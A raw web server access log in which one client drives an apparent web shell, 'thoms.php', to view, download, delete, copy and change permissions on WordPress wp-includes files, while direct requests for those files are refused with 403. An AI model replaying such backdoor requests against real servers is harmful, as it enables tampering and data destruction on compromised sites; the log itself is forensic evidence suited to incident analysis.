45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?chmod=block-supports&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?chmod=rest-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?del=version.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=version.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23487 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13282 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?chmod=feed-rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?del=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59418 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30276 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /big-wife.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14950 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83005 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /big-wife.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15220 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:06 -0400] "GET /thoms.php?del=certificates&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=certificates&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?dl=general-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16303 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?chmod=default-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19632 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /big-wife.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21198 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12037 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /big-wife.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13547 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?chmod=widgets&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?dl=author-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?del=class-feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?del=class-smtp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?chmod=l10n&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15834 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30468 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /big-wife.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /big-wife.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /big-wife.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13427 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?del=revision.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=revision.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?dl=kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59314 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:09 -0400] "GET /thoms.php?del=shortcodes.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /big-wife.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?del=template-canvas.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?chmod=view-transitions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /big-wife.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14078 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13094 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?dl=wp-diff.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:10 -0400] "GET /thoms.php?del=default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59292 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12618 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12107 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
